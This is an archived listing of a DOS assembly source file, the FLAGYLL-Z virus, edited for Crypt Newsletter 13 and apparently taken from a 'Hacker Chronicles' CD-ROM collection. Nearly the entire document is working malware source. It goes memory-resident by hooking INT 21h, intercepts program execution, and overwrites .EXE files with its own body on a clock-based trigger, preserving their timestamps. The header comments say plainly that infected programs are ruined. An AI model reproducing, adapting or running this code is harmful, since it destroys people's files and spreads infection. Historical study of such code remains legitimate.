home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 312.FLAGYLLZ.ASM < prev    next >
Assembly Source File  |  1993-02-24  |  7KB  |  254 lines

  1. ;FLAGYLL-Z virus - edited for Crypt Newsletter 13               
  2. ;FLAGYLL is a memory resident, overwriting virus which
  3. ;infects and destroys .EXE files on load.
  4. ;FLAGYLL-Z's infections are modulated by a routine which
  5. ;uses the system clock as a random trigger.  When .EXEfiles
  6. ;are loaded, FLAGYLL-Z will only infect if the current
  7. ;time - in seconds - is below 10.
  8. ;FLAGYLL-Z preserves the time-date stamps of infected files.
  9. ;.EXE's infected by FLAGYLL-Z are destroyed.  DOS will either
  10. ;refuse to load them or FLAGYLL-Z will become resident
  11. ;as they execute.  These programs are ruined and can only
  12. ;be deleted.Since the FLAGYLL viruses are so destructive of
  13. ;files, it is impossible to imagine them posing a threat in
  14. ;the wild.
  15.            
  16.            
  17.            .radix 16
  18.      cseg       segment
  19.         model  small
  20.         assume cs:cseg, ds:cseg, es:cseg
  21.  
  22.         org 100h
  23.  
  24. oi21            equ endflagyll             
  25. filelength      equ endflagyll - begin     ; virus length
  26. nameptr         equ endflagyll+4
  27. DTA             equ endflagyll+8
  28.           
  29. begin:          jmp     install_flagyll                              
  30.                          ; install
  31. install_flagyll:  
  32.         
  33.         mov     ax,cs                    ; reduce memory size     
  34.         dec     ax                           
  35.         mov     ds,ax                        
  36.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  37.         jne     cancel                   ; block     
  38.         mov     ax,ds:[0003]                 
  39.         sub     ax,100                   ; decrease memory     
  40.         mov     ds:0003,ax
  41.  
  42.  
  43. copy_flagyll:  
  44.         mov     bx,ax                    ; copy to claimed block  
  45.         mov     ax,es                    ; PSP    
  46.         add     ax,bx                    ; virus start in memory   
  47.         mov     es,ax
  48.         mov     cx,offset endflagyll - begin  ; cx = length of virus                  
  49.         mov     ax,ds                    ; restore ds   
  50.         inc     ax
  51.         mov     ds,ax
  52.         lea     si,ds:[begin]            ; point to start of virus
  53.         lea     di,es:0100               ; point to destination   
  54.         rep     movsb                    ; copy virus in memory   
  55.  
  56. hook_21:                                     
  57.         
  58.         mov     ds,cx                   ; hook interrupt 21h
  59.         mov     si,0084h                ; 
  60.         mov     di,offset oi21
  61.         mov     dx,offset check_exec
  62.         lodsw
  63.         cmp     ax,dx                   ;
  64.         je      cancel                  ; exit, if already installed
  65.         stosw
  66.         movsw
  67.         
  68.         push    es 
  69.         pop     ds
  70.         mov     ax,2521h               ; revector int 21h to virus
  71.         int     21h
  72.                      
  73. cancel:         ret          
  74.  
  75. check_exec:                                    ; look over loaded files
  76.         pushf                          ; for executables
  77.  
  78.         push    es                     ; push everything onto the
  79.         push    ds                     ; stack
  80.         push    ax
  81.         push    bx
  82.         push    dx
  83.  
  84.         cmp     ax,04B00h               ; is a file being 
  85.                         ; executed ?
  86.         
  87.         
  88.         jne     abort                   ; no, exit
  89.  
  90. do_infect:      
  91.  
  92.  
  93.         call    infect                ; then try to infect
  94.  
  95. abort:                                        ; restore everything
  96.         pop     dx
  97.         pop     bx
  98.         pop     ax
  99.         pop     ds
  100.         pop     es
  101.         popf
  102.  
  103. exit:      
  104.                          ; exit
  105.         jmp     dword ptr cs:[oi21]                     
  106.  
  107.  
  108.  
  109. infect:          
  110.         jmp     over_id               ; it's a vanity thing
  111.  
  112. note:           db      '-=[Crypt Newsletter 13]=-'
  113.  
  114.  
  115. over_id:        
  116.         mov     cs:[name_seg],ds       ; this routine
  117.         mov     cs:[name_off],dx       ; essentially grabs
  118.                            ; the name of the file
  119.         cld                                ; clear direction flags
  120.         mov     word ptr cs:[nameptr],dx ; save pointer to the filename
  121.         mov     word ptr cs:[nameptr+2],ds
  122.  
  123.         mov     ah,2Fh                    ; get old DTA
  124.         int     21h
  125.         push    es
  126.         push    bx
  127.  
  128.         push    cs                        ; set new DTA
  129.  
  130.         pop     ds
  131.         mov     dx,offset DTA
  132.         mov     ah,1Ah
  133.         int     21h
  134.  
  135.         call    searchpoint              ; find filename for virus
  136.         push    di
  137.         mov     si,offset COM_txt       ; is extension 'COM' ?
  138.  
  139.         mov     cx,3
  140.      rep    cmpsb 
  141.         pop     di
  142.         jz      return                  ; if so, let it pass by
  143.         mov     si,offset EXE_txt       ; is extension .EXE ?
  144.         nop
  145.         mov     cl,3
  146.         rep     cmpsb
  147.         jnz     return
  148.  
  149.         mov     ah,2Ch               ; DOS get system time.                      
  150.         int     21h                  ; <--alter values to suit        
  151.         cmp     dh,10                ; is seconds > 10?
  152.         jg      return               ; if so, be quiet
  153.                          ; this slows down the  
  154.                          ; infection so computing is
  155.                          ; horribly disrupted when the
  156. do_exe:                                      ; virus is in memory
  157.         
  158.         mov     ax,4300h             ; clear attributes
  159.         mov     ds,cs:[name_seg]
  160.         mov     dx,cs:[name_off]
  161.         int     21h
  162.         and     cl,0feh                
  163.         mov     ax,4301h
  164.         int     21h               
  165.         
  166.         mov     ds,cs:[name_seg]   ; open file read/write
  167.         mov     dx,cs:[name_off]
  168.         mov     ax,3D02h             
  169.         int     21h            
  170.         jc      close_file
  171.         push    cs
  172.         pop     ds
  173.         mov     [handle],ax          
  174.         mov     bx,ax               
  175.  
  176. get_date:       mov     ax,5700h        
  177.         int     21h       
  178.         push    cs
  179.         pop     ds
  180.         mov     [date],dx      
  181.         mov     [time],cx
  182.         
  183.         push    cs
  184.         pop     ds
  185.         mov     ax,4200h          ; move pointer to beginning of file
  186.         
  187.         push    cs
  188.         pop     ds
  189.         mov     bx,[handle]
  190.         xor     cx,cx
  191.         xor     dx,dx
  192.         int     21h
  193.         
  194.         mov     ah,40             ; write to file
  195.         mov     cx,filelength     ; length of Flagyll in CX 
  196.         mov     dx,100            ; start at beginning of Flagyll
  197.         int     21h               ; write Flagyll to file
  198.         
  199.         call    restore_date
  200.  
  201. close_file:     mov     bx,[handle]
  202.         mov     ah,03Eh           ; close file         
  203.         int     21h
  204.         
  205.         mov     ax,4C00h          ; exit to DOS
  206.         int     21h
  207.  
  208. return:         mov     ah,1Ah                 
  209.         pop     dx                ; restore old DTA
  210.         pop     ds
  211.         int     21H
  212.  
  213.         ret                            
  214.  
  215.  
  216. searchpoint:    les     di,dword ptr cs:[nameptr]
  217.         mov     ch,0FFh
  218.         mov     al,0
  219.      repnz  scasb
  220.         sub     di,4
  221.         ret
  222.  
  223. restore_date:      
  224.         push    cs                       
  225.         pop     ds
  226.         mov     bx,[handle]
  227.         mov     dx,[date]
  228.         mov     cx,[time]
  229.         mov     ax,5701h
  230.         int     21h
  231.         ret
  232.  
  233.  
  234.         
  235.  
  236. EXE_txt         db  'EXE',0      ; extension masks
  237. COM_txt         db  'COM',0      ; for host selection
  238.  
  239. name_seg        dw  ?            ; data buffers for virus action
  240. name_off        dw  ?            ; on the fly
  241. handle          dw  ?
  242. time            dw  ?
  243. date            dw  ?
  244. note2:           db     'Flagyll-Z' ; virus name
  245.  
  246. endflagyll:
  247.  
  248.  
  249. cseg            ends
  250.         end begin
  251.  
  252.  
  253.  
  254.